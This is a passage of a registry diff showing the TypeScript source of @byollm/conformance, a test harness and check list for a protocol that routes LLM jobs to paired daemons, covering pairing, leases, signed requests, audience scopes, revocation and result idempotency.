@byollm/conformance 0.1.0-alpha.2 → 0.1.0-alpha.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,2137 @@
1
+ // src/checks.ts
2
+ import {
3
+ AUDIENCES,
4
+ OFFER_SCOPES,
5
+ ClaimedStub,
6
+ ENVELOPE_MAX_AGE_MS as ENVELOPE_MAX_AGE_MS2,
7
+ keyId as keyId2,
8
+ open as open2,
9
+ seal as seal2,
10
+ PROTOCOL_VERSION as PROTOCOL_VERSION2,
11
+ PublicIdentity,
12
+ generateKeys,
13
+ publicIdentityOf as publicIdentityOf2,
14
+ signRequest as signRequest2,
15
+ verifyPublicIdentity
16
+ } from "@byollm/protocol";
17
+
18
+ // src/harness.ts
19
+ import { mkdtemp, rm } from "fs/promises";
20
+ import { tmpdir } from "os";
21
+ import { join } from "path";
22
+ import {
23
+ ENVELOPE_MAX_AGE_MS,
24
+ PROTOCOL_VERSION,
25
+ keyId,
26
+ open,
27
+ seal,
28
+ publicIdentityOf,
29
+ signRequest
30
+ } from "@byollm/protocol";
31
+ import {
32
+ Allowlist,
33
+ Budgets,
34
+ IngressLog,
35
+ SpendLedger,
36
+ ProtocolClient,
37
+ DeviceIdentity,
38
+ Runner,
39
+ connect,
40
+ resolveConfig,
41
+ DaemonConfig
42
+ } from "byollm";
43
+ var EchoBackend = class {
44
+ id = "openai-http";
45
+ class = "http";
46
+ /** Prompts this backend was asked to run, in order. */
47
+ seen = [];
48
+ /** Set to make the next call hang, for lease and cancel checks. */
49
+ hangMs = 0;
50
+ /** Set false to simulate the model not being installed or not running. */
51
+ healthy = true;
52
+ /** What the backend reports it can serve. Empty means "does not enumerate". */
53
+ models = ["echo-model"];
54
+ health() {
55
+ return Promise.resolve({ healthy: this.healthy, models: this.models });
56
+ }
57
+ async execute(request) {
58
+ this.seen.push(request.prompt);
59
+ const started = Date.now();
60
+ if (this.hangMs > 0) {
61
+ const hung = request.signal.aborted ? "aborted" : await new Promise((resolve) => {
62
+ const timer = setTimeout(() => {
63
+ resolve("done");
64
+ }, this.hangMs);
65
+ request.signal.addEventListener(
66
+ "abort",
67
+ () => {
68
+ clearTimeout(timer);
69
+ resolve("aborted");
70
+ },
71
+ { once: true }
72
+ );
73
+ });
74
+ if (hung === "aborted") {
75
+ return {
76
+ ok: false,
77
+ code: "canceled",
78
+ message: "the job was canceled",
79
+ retryable: false,
80
+ durationMs: Date.now() - started
81
+ };
82
+ }
83
+ }
84
+ return {
85
+ ok: true,
86
+ text: `echo: ${request.prompt}`,
87
+ durationMs: Date.now() - started
88
+ };
89
+ }
90
+ };
91
+ function daemonConfig(options) {
92
+ const metered = options.metered;
93
+ const backendId = metered ? metered.provider ?? "openai" : options.subscription ? "claude-cli" : "openai-http";
94
+ const baseUrl = metered ? metered.baseUrl : options.subscription ? void 0 : "http://127.0.0.1:11434/v1";
95
+ return resolveConfig(
96
+ DaemonConfig.parse({
97
+ backends: {
98
+ primary: {
99
+ backend: backendId,
100
+ ...baseUrl === void 0 ? {} : { baseUrl },
101
+ offer: options.offer,
102
+ ...metered === void 0 ? {} : {
103
+ spend: {
104
+ acknowledged: metered.acknowledged ?? false,
105
+ ...metered.dailyCapCents === void 0 ? {} : { dailyCapCents: metered.dailyCapCents }
106
+ }
107
+ }
108
+ }
109
+ },
110
+ routes: {
111
+ "llm.generate": { backend: "primary", model: "echo-model" },
112
+ "llm.chat": { backend: "primary", model: "echo-model" }
113
+ },
114
+ concurrency: 4
115
+ })
116
+ );
117
+ }
118
+ async function pairDaemon(target, options) {
119
+ const home = await mkdtemp(join(tmpdir(), "byollm-conformance-"));
120
+ const loaded = daemonConfig({
121
+ offer: options.offer ?? "self",
122
+ subscription: options.subscription ?? false,
123
+ ...options.metered === void 0 ? {} : { metered: options.metered }
124
+ });
125
+ const allowlist = new Allowlist(join(home, "allow.json"));
126
+ await allowlist.load();
127
+ const budgets = new Budgets(
128
+ join(home, "budgets.json"),
129
+ loaded.config.community
130
+ );
131
+ await budgets.load(Date.now());
132
+ const spend = new SpendLedger(join(home, "spend.json"));
133
+ await spend.load(Date.now());
134
+ const ingress = new IngressLog({
135
+ path: join(home, "ingress.log"),
136
+ communityPromptDays: 7,
137
+ keepSelfPrompts: true
138
+ });
139
+ const backend = new EchoBackend();
140
+ const fetchImpl = (input, init) => target.fetch(new Request(input, init));
141
+ const capabilities = loaded.routes.map((route) => ({
142
+ kind: route.kind,
143
+ backendId: route.backendId,
144
+ backendClass: route.backendClass,
145
+ model: route.model,
146
+ offerScope: route.offerScope
147
+ }));
148
+ const pairingClient = new ProtocolClient({
149
+ origin: target.origin,
150
+ fetch: fetchImpl
151
+ });
152
+ let userCode = "";
153
+ const pairingAbort = new AbortController();
154
+ let pairingError;
155
+ const deviceIdentity = new DeviceIdentity(join(home, "keys.json"));
156
+ const pairing = connect({
157
+ client: pairingClient,
158
+ daemonVersion: "conformance",
159
+ device: await deviceIdentity.publicIdentity(Date.now()),
160
+ label: options.label ?? `daemon-${options.owner}`,
161
+ capabilities,
162
+ onCode: (info) => {
163
+ userCode = info.userCode;
164
+ },
165
+ // A real macrotask, not `Promise.resolve()`: a zero-delay microtask loop
166
+ // never yields to the event loop, so the approval below could never run
167
+ // and the poll would spin until the process died.
168
+ sleep: () => sleep(1),
169
+ signal: pairingAbort.signal
170
+ }).catch((error) => {
171
+ pairingError = error;
172
+ return { ok: false, reason: "aborted", message: "" };
173
+ });
174
+ try {
175
+ await waitFor(() => userCode !== "", { what: "a pairing code" });
176
+ await target.approvePairing(userCode, options.owner);
177
+ } catch (error) {
178
+ pairingAbort.abort();
179
+ await pairing;
180
+ await rm(home, { recursive: true, force: true });
181
+ throw error;
182
+ }
183
+ const result = await pairing;
184
+ if (!result.ok) {
185
+ pairingAbort.abort();
186
+ await rm(home, { recursive: true, force: true });
187
+ throw new Error(
188
+ `conformance harness could not pair: ${pairingError instanceof Error ? pairingError.message : result.message}`
189
+ );
190
+ }
191
+ const runner = new Runner({
192
+ client: new ProtocolClient({
193
+ origin: target.origin,
194
+ // The harness signs exactly as a daemon does, so certification
195
+ // exercises the real verification path.
196
+ identity: {
197
+ runnerId: result.pairing.runnerId,
198
+ sign: (input) => deviceIdentity.signRequest(input)
199
+ },
200
+ fetch: fetchImpl
201
+ }),
202
+ runnerId: result.pairing.runnerId,
203
+ owner: result.pairing.owner,
204
+ identity: {
205
+ keys: () => deviceIdentity.load(Date.now()),
206
+ // Pinned at pairing, exactly as a real daemon does.
207
+ sitePinned: result.pairing.site
208
+ },
209
+ daemonVersion: "conformance",
210
+ loaded,
211
+ allowlist,
212
+ budgets,
213
+ spend,
214
+ ingress,
215
+ backendFactory: () => backend
216
+ });
217
+ return {
218
+ runner,
219
+ backend,
220
+ allowlist,
221
+ runnerId: result.pairing.runnerId,
222
+ owner: result.pairing.owner,
223
+ keys: await deviceIdentity.load(Date.now()),
224
+ identityKeys: () => deviceIdentity.load(Date.now()),
225
+ sitePinned: result.pairing.site,
226
+ home,
227
+ ingress,
228
+ spend,
229
+ loaded,
230
+ dispose: async () => {
231
+ runner.cancelAll();
232
+ await waitFor(() => runner.status().activeJobs === 0, {
233
+ timeoutMs: 2e3,
234
+ what: "in-flight jobs to unwind"
235
+ }).catch(() => void 0);
236
+ await removeHome(home);
237
+ },
238
+ abandon: async () => {
239
+ await removeHome(home);
240
+ }
241
+ };
242
+ }
243
+ async function ownerIdFor(target, name) {
244
+ return target.ownerId ? target.ownerId(name) : name;
245
+ }
246
+ async function waitFor(predicate, options = {}) {
247
+ const timeoutMs = options.timeoutMs ?? 5e3;
248
+ const intervalMs = options.intervalMs ?? 10;
249
+ const deadline = Date.now() + timeoutMs;
250
+ for (; ; ) {
251
+ if (await predicate()) return;
252
+ if (Date.now() >= deadline) {
253
+ throw new Error(
254
+ `timed out after ${String(timeoutMs)}ms waiting for ${options.what ?? "a condition"}`
255
+ );
256
+ }
257
+ await sleep(intervalMs);
258
+ }
259
+ }
260
+ function sleep(ms) {
261
+ return new Promise((resolve) => setTimeout(resolve, ms));
262
+ }
263
+ var MAX_REAL_WAIT_MS = 3e4;
264
+ async function advance(target, ms) {
265
+ if (target.advanceTime) {
266
+ await target.advanceTime(ms);
267
+ } else {
268
+ if (ms > MAX_REAL_WAIT_MS) {
269
+ throw new Error(
270
+ `this check needs to advance ${String(Math.round(ms / 1e3))}s and "${target.name}" cannot fake time, so it would sleep for real. Configure a shorter TTL on the target, or give it advanceTime().`
271
+ );
272
+ }
273
+ await sleep(ms);
274
+ }
275
+ await target.sweep();
276
+ }
277
+ async function claimOne(target, daemon) {
278
+ const capabilities = await daemon.runner.detectCapabilities();
279
+ const body = JSON.stringify({
280
+ protocolVersion: PROTOCOL_VERSION,
281
+ runnerId: daemon.runnerId,
282
+ capabilities,
283
+ max: 1
284
+ });
285
+ const signature = signRequest(daemon.keys, {
286
+ endpoint: "claim",
287
+ runnerId: daemon.runnerId,
288
+ issuedAt: Date.now(),
289
+ body
290
+ });
291
+ const response = await target.fetch(
292
+ new Request(`${target.origin}/byollm/claim`, {
293
+ method: "POST",
294
+ headers: {
295
+ "content-type": "application/json",
296
+ "x-byollm-runner": signature.runnerId,
297
+ "x-byollm-issued-at": String(signature.issuedAt),
298
+ "x-byollm-signature": signature.signature
299
+ },
300
+ body
301
+ })
302
+ );
303
+ if (response.status !== 200) {
304
+ throw new Error(`claim answered ${String(response.status)}`);
305
+ }
306
+ const parsed = await response.json();
307
+ const job = parsed.jobs[0];
308
+ if (!job) throw new Error("claim returned no jobs");
309
+ return job;
310
+ }
311
+ async function claimRaw(target, daemon, capabilityOverride) {
312
+ const capabilities = capabilityOverride ?? await daemon.runner.detectCapabilities();
313
+ const body = JSON.stringify({
314
+ protocolVersion: PROTOCOL_VERSION,
315
+ runnerId: daemon.runnerId,
316
+ capabilities,
317
+ max: 10
318
+ });
319
+ const signature = signRequest(daemon.keys, {
320
+ endpoint: "claim",
321
+ runnerId: daemon.runnerId,
322
+ issuedAt: Date.now(),
323
+ body
324
+ });
325
+ const response = await target.fetch(
326
+ new Request(`${target.origin}/byollm/claim`, {
327
+ method: "POST",
328
+ headers: {
329
+ "content-type": "application/json",
330
+ "x-byollm-runner": signature.runnerId,
331
+ "x-byollm-issued-at": String(signature.issuedAt),
332
+ "x-byollm-signature": signature.signature
333
+ },
334
+ body
335
+ })
336
+ );
337
+ if (response.status !== 200) {
338
+ throw new Error(`claim answered ${String(response.status)}`);
339
+ }
340
+ return (await response.json()).jobs;
341
+ }
342
+ async function releaseLease(target, daemon, jobId, leaseId) {
343
+ const body = JSON.stringify({
344
+ protocolVersion: PROTOCOL_VERSION,
345
+ runnerId: daemon.runnerId,
346
+ leases: [{ jobId, leaseId }],
347
+ reason: "backend-down"
348
+ });
349
+ const signature = signRequest(daemon.keys, {
350
+ endpoint: "release",
351
+ runnerId: daemon.runnerId,
352
+ issuedAt: Date.now(),
353
+ body
354
+ });
355
+ return target.fetch(
356
+ new Request(`${target.origin}/byollm/release`, {
357
+ method: "POST",
358
+ headers: {
359
+ "content-type": "application/json",
360
+ "x-byollm-runner": signature.runnerId,
361
+ "x-byollm-issued-at": String(signature.issuedAt),
362
+ "x-byollm-signature": signature.signature
363
+ },
364
+ body
365
+ })
366
+ );
367
+ }
368
+ async function fetchPayload(target, daemon, jobId, leaseId) {
369
+ const body = JSON.stringify({
370
+ protocolVersion: PROTOCOL_VERSION,
371
+ runnerId: daemon.runnerId,
372
+ jobId,
373
+ leaseId
374
+ });
375
+ const signature = signRequest(daemon.keys, {
376
+ endpoint: "fetch",
377
+ runnerId: daemon.runnerId,
378
+ issuedAt: Date.now(),
379
+ body
380
+ });
381
+ const response = await target.fetch(
382
+ new Request(`${target.origin}/byollm/fetch`, {
383
+ method: "POST",
384
+ headers: {
385
+ "content-type": "application/json",
386
+ "x-byollm-runner": signature.runnerId,
387
+ "x-byollm-issued-at": String(signature.issuedAt),
388
+ "x-byollm-signature": signature.signature
389
+ },
390
+ body
391
+ })
392
+ );
393
+ if (response.status !== 200) return null;
394
+ const raw = await response.json();
395
+ const keys = await daemon.identityKeys();
396
+ const opened = await open({
397
+ envelope: raw.envelope,
398
+ recipientKeys: keys,
399
+ senderIdentityPublic: daemon.sitePinned.identity,
400
+ expected: {
401
+ jobId,
402
+ senderKeyId: keyId(daemon.sitePinned.identity),
403
+ recipientKeyId: keyId(publicIdentityOf(keys).identity),
404
+ direction: "payload"
405
+ }
406
+ });
407
+ return {
408
+ raw,
409
+ opened: opened.ok ? JSON.parse(opened.plaintext) : null
410
+ };
411
+ }
412
+ async function postResult(target, daemon, input) {
413
+ const keys = await daemon.identityKeys();
414
+ const sealer = input.sealWith ?? keys;
415
+ const envelope = await seal({
416
+ // `{ outcome, ran }` — cloud_008 §2.5.
417
+ plaintext: JSON.stringify({
418
+ outcome: input.outcome,
419
+ ran: { model: "test-model", backendClass: "http", durationMs: 1 }
420
+ }),
421
+ senderKeys: sealer,
422
+ recipientEncryptionPublic: daemon.sitePinned.encryption,
423
+ context: {
424
+ jobId: input.jobId,
425
+ // Always the *device's* key id, even when a relay sealed it: an
426
+ // attacker naming itself would be refused for the wrong reason, and
427
+ // this check exists to prove the signature is what refuses it.
428
+ senderKeyId: keyId(publicIdentityOf(keys).identity),
429
+ recipientKeyId: keyId(daemon.sitePinned.identity),
430
+ deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS,
431
+ direction: "result"
432
+ }
433
+ });
434
+ const body = JSON.stringify({
435
+ protocolVersion: PROTOCOL_VERSION,
436
+ runnerId: daemon.runnerId,
437
+ jobId: input.jobId,
438
+ leaseId: input.leaseId,
439
+ envelope,
440
+ disposition: input.disposition ?? input.outcome.outcome
441
+ });
442
+ const signature = signRequest(daemon.keys, {
443
+ endpoint: "result",
444
+ runnerId: daemon.runnerId,
445
+ issuedAt: Date.now(),
446
+ body
447
+ });
448
+ return target.fetch(
449
+ new Request(`${target.origin}/byollm/result`, {
450
+ method: "POST",
451
+ headers: {
452
+ "content-type": "application/json",
453
+ "x-byollm-runner": signature.runnerId,
454
+ "x-byollm-issued-at": String(signature.issuedAt),
455
+ "x-byollm-signature": signature.signature
456
+ },
457
+ body
458
+ })
459
+ );
460
+ }
461
+ async function removeHome(home) {
462
+ for (let attempt = 0; attempt < 3; attempt += 1) {
463
+ try {
464
+ await rm(home, { recursive: true, force: true });
465
+ return;
466
+ } catch {
467
+ await sleep(20);
468
+ }
469
+ }
470
+ await rm(home, { recursive: true, force: true }).catch(() => void 0);
471
+ }
472
+ async function fetchGenuine(target, daemon, owner = "alice") {
473
+ const marker = "genuine work";
474
+ await target.enqueue({
475
+ kind: "llm.generate",
476
+ payload: { prompt: marker },
477
+ // The target's own name for the user, not the id it mapped that to —
478
+ // passing a mapped id back in addresses a user the target never made.
479
+ owner,
480
+ audience: "self"
481
+ });
482
+ for (let attempt = 0; attempt < 20; attempt += 1) {
483
+ try {
484
+ const stub = await claimOne(target, daemon);
485
+ const fetched = await fetchPayload(
486
+ target,
487
+ daemon,
488
+ stub.id,
489
+ stub.lease.id
490
+ );
491
+ return JSON.stringify(fetched?.opened ?? {}).includes(marker);
492
+ } catch {
493
+ await sleep(50);
494
+ }
495
+ }
496
+ return false;
497
+ }
498
+
499
+ // src/checks.ts
500
+ function assert(condition, message) {
501
+ if (!condition) throw new Error(message);
502
+ }
503
+ var prompt = (text = "hello") => ({ prompt: text });
504
+ var CHECKS = [
505
+ {
506
+ id: "C001_PAIRING_BINDS_ONE_USER",
507
+ title: "a runner token is bound to exactly the approving user",
508
+ musts: ["PAIR_ONE_USER", "PAIR_INTERACTIVE"],
509
+ async run(target) {
510
+ const alice = await pairDaemon(target, { owner: "alice" });
511
+ try {
512
+ assert(
513
+ alice.owner === await ownerIdFor(target, "alice"),
514
+ `runner was bound to "${alice.owner}", not to the approving user`
515
+ );
516
+ const bob = await pairDaemon(target, { owner: "bob" });
517
+ assert(
518
+ bob.owner !== alice.owner,
519
+ "two different approvers produced the same runner owner"
520
+ );
521
+ try {
522
+ const job = await target.enqueue({
523
+ kind: "llm.generate",
524
+ payload: prompt("alice's private prompt"),
525
+ owner: "alice",
526
+ audience: "self"
527
+ });
528
+ await bob.runner.tick();
529
+ await sleep(50);
530
+ const state = await target.job(job.id);
531
+ assert(
532
+ state?.state === "queued",
533
+ `another user's daemon took a self job (state: ${String(state?.state)})`
534
+ );
535
+ } finally {
536
+ await bob.dispose();
537
+ }
538
+ } finally {
539
+ await alice.dispose();
540
+ }
541
+ }
542
+ },
543
+ {
544
+ id: "C002_JOB_ROUND_TRIP",
545
+ title: "an enqueued job runs on the owner's daemon and the result comes back",
546
+ musts: ["CLAIM_REQUIRES_CAPABILITY", "RESULT_IDEMPOTENT"],
547
+ async run(target) {
548
+ const daemon = await pairDaemon(target, { owner: "alice" });
549
+ try {
550
+ const job = await target.enqueue({
551
+ kind: "llm.generate",
552
+ payload: prompt("summarise this"),
553
+ owner: "alice"
554
+ });
555
+ await daemon.runner.tick();
556
+ await waitFor(async () => (await target.job(job.id))?.state === "ok", {
557
+ what: "the job to complete"
558
+ });
559
+ const finished = await target.job(job.id);
560
+ assert(
561
+ finished?.outcome?.text === "echo: summarise this",
562
+ "the result text did not survive the round trip"
563
+ );
564
+ assert(
565
+ daemon.backend.seen[0] === "summarise this",
566
+ "the prompt did not reach the model verbatim"
567
+ );
568
+ } finally {
569
+ await daemon.dispose();
570
+ }
571
+ }
572
+ },
573
+ {
574
+ id: "C003_UNKNOWN_KIND_REFUSED",
575
+ title: "a daemon is never handed a kind it did not advertise",
576
+ musts: ["KIND_TYPED_ONLY", "CLAIM_REQUIRES_CAPABILITY"],
577
+ async run(target) {
578
+ const daemon = await pairDaemon(target, { owner: "alice" });
579
+ try {
580
+ const job = await target.enqueue({
581
+ kind: "llm.chat",
582
+ payload: { messages: [{ role: "user", content: "hi" }] },
583
+ owner: "alice"
584
+ });
585
+ const before = daemon.backend.seen.length;
586
+ await daemon.runner.tick();
587
+ await sleep(50);
588
+ const state = await target.job(job.id);
589
+ assert(
590
+ state?.state === "ok" || state?.state === "running" || state?.state === "claimed",
591
+ `a job for an advertised kind was not taken (state: ${String(state?.state)})`
592
+ );
593
+ assert(
594
+ daemon.backend.seen.length > before,
595
+ "the advertised kind never reached the backend"
596
+ );
597
+ const chat = await target.enqueue({
598
+ kind: "llm.chat",
599
+ payload: { messages: [{ role: "user", content: "not for you" }] },
600
+ owner: "alice"
601
+ });
602
+ const generateOnly = await claimRaw(target, daemon, [
603
+ {
604
+ kind: "llm.generate",
605
+ backendId: "openai-http",
606
+ backendClass: "http",
607
+ model: "echo-model",
608
+ offerScope: "self"
609
+ }
610
+ ]);
611
+ assert(
612
+ !generateOnly.some((offered) => offered.id === chat.id),
613
+ "a server offered `llm.chat` to a claim advertising only `llm.generate`"
614
+ );
615
+ } finally {
616
+ await daemon.dispose();
617
+ }
618
+ }
619
+ },
620
+ {
621
+ id: "C004_LEASE_RECLAIM",
622
+ title: "a job whose runner vanished is offered again, losing nothing",
623
+ musts: ["LEASE_RECLAIMABLE", "LEASE_HONORED"],
624
+ async run(target) {
625
+ const dead = await pairDaemon(target, { owner: "alice", label: "dead" });
626
+ const job = await target.enqueue({
627
+ kind: "llm.generate",
628
+ payload: prompt("work"),
629
+ owner: "alice"
630
+ });
631
+ dead.backend.hangMs = 6e4;
632
+ const firstLease = await claimOne(target, dead);
633
+ await waitFor(
634
+ async () => {
635
+ const state = await target.job(job.id);
636
+ return state?.state === "claimed" || state?.state === "running";
637
+ },
638
+ { what: "the job to be claimed" }
639
+ );
640
+ await dead.abandon();
641
+ await advance(target, target.leaseMs + 500);
642
+ const alive = await pairDaemon(target, {
643
+ owner: "alice",
644
+ label: "alive"
645
+ });
646
+ try {
647
+ const reclaimed = await claimOne(target, alive);
648
+ assert(
649
+ reclaimed.id === job.id,
650
+ "the reclaiming daemon did not get the job"
651
+ );
652
+ const late = await postResult(target, dead, {
653
+ jobId: job.id,
654
+ leaseId: firstLease.lease.id,
655
+ outcome: { outcome: "ok", text: "from the machine that vanished" }
656
+ });
657
+ const lateBody = await late.json().catch(() => ({}));
658
+ assert(
659
+ lateBody.accepted !== true,
660
+ "a site accepted a result from a runner whose lease had lapsed"
661
+ );
662
+ const midflight = await target.job(job.id);
663
+ assert(
664
+ !midflight?.outcome,
665
+ "a lapsed holder's result was recorded over a live grant"
666
+ );
667
+ const proper = await postResult(target, alive, {
668
+ jobId: job.id,
669
+ leaseId: reclaimed.lease.id,
670
+ outcome: { outcome: "ok", text: "from the machine that took over" }
671
+ });
672
+ assert(
673
+ proper.status === 200,
674
+ `the reclaiming daemon could not finish the job (${String(proper.status)})`
675
+ );
676
+ const final = await target.job(job.id);
677
+ assert(
678
+ final?.outcome?.text === "from the machine that took over",
679
+ "the reclaimed job did not record the current holder's result"
680
+ );
681
+ } finally {
682
+ await alive.dispose();
683
+ await dead.dispose();
684
+ }
685
+ }
686
+ },
687
+ {
688
+ id: "C005_AUDIENCE_MATRIX",
689
+ title: "all nine audience \xD7 offer-scope combinations behave as specified",
690
+ musts: ["AUDIENCE_BOTH_SIDES", "NAMED_LOCAL_ALLOWLIST"],
691
+ async run(target) {
692
+ const expected = {
693
+ "self:self": false,
694
+ "self:named": false,
695
+ "self:public": false,
696
+ "named:self": false,
697
+ "named:named": false,
698
+ // refused locally — allowlist is empty
699
+ "named:public": true,
700
+ "public:self": false,
701
+ "public:named": false,
702
+ // refused locally — allowlist is empty
703
+ "public:public": true
704
+ };
705
+ for (const audience of AUDIENCES) {
706
+ for (const offer of OFFER_SCOPES) {
707
+ await target.reset();
708
+ const bob = await pairDaemon(target, { owner: "bob", offer });
709
+ try {
710
+ const job = await target.enqueue({
711
+ kind: "llm.generate",
712
+ payload: prompt("community work"),
713
+ owner: "alice",
714
+ audience
715
+ });
716
+ await bob.runner.tick();
717
+ await sleep(80);
718
+ const state = await target.job(job.id);
719
+ const ran = state?.state === "ok";
720
+ const shouldRun = expected[`${audience}:${offer}`] ?? false;
721
+ assert(
722
+ ran === shouldRun,
723
+ `audience=${audience} offer=${offer}: expected ${shouldRun ? "to run" : "to be refused"}, got state "${String(state?.state)}"`
724
+ );
725
+ } finally {
726
+ await bob.dispose();
727
+ }
728
+ }
729
+ }
730
+ }
731
+ },
732
+ {
733
+ id: "C006_NAMED_LOCAL_ALLOWLIST",
734
+ title: "a named job runs only once the daemon's own allowlist admits it",
735
+ musts: ["NAMED_LOCAL_ALLOWLIST", "REFUSAL_NOT_REOFFERED"],
736
+ async run(target) {
737
+ const bob = await pairDaemon(target, { owner: "bob", offer: "named" });
738
+ try {
739
+ const refused = await target.enqueue({
740
+ kind: "llm.generate",
741
+ payload: prompt("before"),
742
+ owner: "alice",
743
+ audience: "named"
744
+ });
745
+ await bob.runner.tick();
746
+ await sleep(80);
747
+ assert(
748
+ (await target.job(refused.id))?.state !== "ok",
749
+ "a named job ran without the daemon's local allowlist admitting it"
750
+ );
751
+ const reoffered = await claimRaw(target, bob);
752
+ assert(
753
+ !reoffered.some((job) => job.id === refused.id),
754
+ "a server re-offered a job to the runner that refused it"
755
+ );
756
+ await bob.allowlist.add(
757
+ { origin: target.origin, owner: await ownerIdFor(target, "alice") },
758
+ Date.now()
759
+ );
760
+ const allowed = await target.enqueue({
761
+ kind: "llm.generate",
762
+ payload: prompt("after"),
763
+ owner: "alice",
764
+ audience: "named"
765
+ });
766
+ await bob.runner.tick();
767
+ await waitFor(
768
+ async () => (await target.job(allowed.id))?.state === "ok",
769
+ { what: "the allowed named job to run" }
770
+ );
771
+ } finally {
772
+ await bob.dispose();
773
+ }
774
+ }
775
+ },
776
+ {
777
+ id: "C007_SUBSCRIPTION_SELF_LOCK",
778
+ title: "a subscription backend refuses another user's work at any configured scope",
779
+ musts: ["SUBSCRIPTION_SELF_LOCK"],
780
+ async run(target) {
781
+ const bob = await pairDaemon(target, {
782
+ owner: "bob",
783
+ offer: "public",
784
+ subscription: true
785
+ });
786
+ try {
787
+ await bob.allowlist.add(
788
+ { origin: target.origin, owner: await ownerIdFor(target, "alice") },
789
+ Date.now()
790
+ );
791
+ const job = await target.enqueue({
792
+ kind: "llm.generate",
793
+ payload: prompt("someone else's work"),
794
+ owner: "alice",
795
+ audience: "public"
796
+ });
797
+ await bob.runner.tick();
798
+ await sleep(80);
799
+ const state = await target.job(job.id);
800
+ assert(
801
+ state?.state !== "ok",
802
+ "a subscription backend ran another user's job"
803
+ );
804
+ assert(
805
+ bob.backend.seen.length === 0,
806
+ "another user's prompt reached a subscription backend"
807
+ );
808
+ const own = await target.enqueue({
809
+ kind: "llm.generate",
810
+ payload: prompt("my own work"),
811
+ owner: "bob",
812
+ audience: "self"
813
+ });
814
+ await bob.runner.tick();
815
+ await waitFor(async () => (await target.job(own.id))?.state === "ok", {
816
+ what: "the owner's own subscription job to run"
817
+ });
818
+ } finally {
819
+ await bob.dispose();
820
+ }
821
+ }
822
+ },
823
+ {
824
+ id: "C008_REVOCATION",
825
+ title: "a revoked daemon stops mid-queue",
826
+ // Both halves, and this check already proved both: the daemon learns it
827
+ // is revoked (`REVOCATION_HONORED`), *and* the upstream leaves the job
828
+ // queued rather than granting it (`REVOCATION_IMMEDIATE`). The second
829
+ // assertion was here and cited nothing — which is how a MUST comes to be
830
+ // declared in a spec, absent from the registry, and tested all along.
831
+ musts: ["REVOCATION_HONORED", "REVOCATION_IMMEDIATE"],
832
+ async run(target) {
833
+ const daemon = await pairDaemon(target, { owner: "alice" });
834
+ try {
835
+ await target.revokeRunner(daemon.runnerId);
836
+ const job = await target.enqueue({
837
+ kind: "llm.generate",
838
+ payload: prompt("after revocation"),
839
+ owner: "alice"
840
+ });
841
+ await daemon.runner.tick();
842
+ await sleep(80);
843
+ assert(
844
+ daemon.runner.status().revoked,
845
+ "the daemon did not learn it was revoked"
846
+ );
847
+ assert(
848
+ (await target.job(job.id))?.state === "queued",
849
+ "a revoked daemon took new work"
850
+ );
851
+ } finally {
852
+ await daemon.dispose();
853
+ }
854
+ }
855
+ },
856
+ {
857
+ id: "C009_CANCEL_MID_FLIGHT",
858
+ title: "cancel aborts a running job's backend call",
859
+ musts: ["CANCEL_HONORED"],
860
+ async run(target) {
861
+ const daemon = await pairDaemon(target, { owner: "alice" });
862
+ try {
863
+ daemon.backend.hangMs = 3e4;
864
+ const job = await target.enqueue({
865
+ kind: "llm.generate",
866
+ payload: prompt("long job"),
867
+ owner: "alice"
868
+ });
869
+ await daemon.runner.tick();
870
+ await waitFor(() => daemon.backend.seen.length > 0, {
871
+ what: "the job to start running"
872
+ });
873
+ await target.cancelJob(job.id);
874
+ await daemon.runner.tick();
875
+ await waitFor(
876
+ async () => (await target.job(job.id))?.state === "canceled",
877
+ { what: "the job to report canceled", timeoutMs: 1e4 }
878
+ );
879
+ } finally {
880
+ await daemon.dispose();
881
+ }
882
+ }
883
+ },
884
+ {
885
+ id: "C010_RESULT_IDEMPOTENT",
886
+ title: "the first terminal outcome wins",
887
+ musts: ["RESULT_IDEMPOTENT"],
888
+ async run(target) {
889
+ const daemon = await pairDaemon(target, { owner: "alice" });
890
+ try {
891
+ const job = await target.enqueue({
892
+ kind: "llm.generate",
893
+ payload: prompt("once"),
894
+ owner: "alice"
895
+ });
896
+ const claimed = await claimOne(target, daemon);
897
+ assert(claimed.id === job.id, "the harness could not claim its job");
898
+ const first = await postResult(target, daemon, {
899
+ jobId: job.id,
900
+ leaseId: claimed.lease.id,
901
+ outcome: { outcome: "ok", text: "the answer that counts" }
902
+ });
903
+ assert(
904
+ first.status === 200,
905
+ `a site refused the first result (${String(first.status)})`
906
+ );
907
+ const replay = await postResult(target, daemon, {
908
+ jobId: job.id,
909
+ leaseId: claimed.lease.id,
910
+ outcome: { outcome: "ok", text: "SECOND ANSWER" }
911
+ });
912
+ assert(
913
+ replay.status === 200,
914
+ `a replayed result was rejected rather than ignored (${String(replay.status)})`
915
+ );
916
+ const body = await replay.json();
917
+ assert(
918
+ body.accepted === false,
919
+ "a site reported a replayed result as newly accepted"
920
+ );
921
+ assert(
922
+ body.duplicate === true,
923
+ "a replay from the device that finished the job was not called a duplicate"
924
+ );
925
+ const after = await target.job(job.id);
926
+ assert(
927
+ after?.outcome?.text === "the answer that counts",
928
+ `a second result overwrote the first (${String(after?.outcome?.text)})`
929
+ );
930
+ const stranger = await pairDaemon(target, { owner: "alice" });
931
+ try {
932
+ const foreign = await postResult(target, stranger, {
933
+ jobId: job.id,
934
+ leaseId: claimed.lease.id,
935
+ outcome: { outcome: "ok", text: "not this device's to answer" }
936
+ });
937
+ const foreignBody = await foreign.json().catch(() => ({}));
938
+ assert(
939
+ foreignBody["duplicate"] !== true,
940
+ "a site told a device that never held this job it was a duplicate"
941
+ );
942
+ const stillFirst = await target.job(job.id);
943
+ assert(
944
+ stillFirst?.outcome?.text === "the answer that counts",
945
+ "a stranger's result overwrote a terminal job"
946
+ );
947
+ } finally {
948
+ await stranger.dispose();
949
+ }
950
+ } finally {
951
+ await daemon.dispose();
952
+ }
953
+ }
954
+ },
955
+ {
956
+ id: "C011_DEPENDENCY_ORDER",
957
+ title: "a dependent job waits for its dependency, across two daemons",
958
+ musts: ["DEPENDS_ON_GATING", "TTL_EXPIRY"],
959
+ async run(target) {
960
+ const alice = await pairDaemon(target, { owner: "alice" });
961
+ const bob = await pairDaemon(target, { owner: "bob" });
962
+ try {
963
+ const first = await target.enqueue({
964
+ kind: "llm.generate",
965
+ payload: prompt("step one"),
966
+ owner: "bob",
967
+ audience: "self"
968
+ });
969
+ const second = await target.enqueue({
970
+ kind: "llm.generate",
971
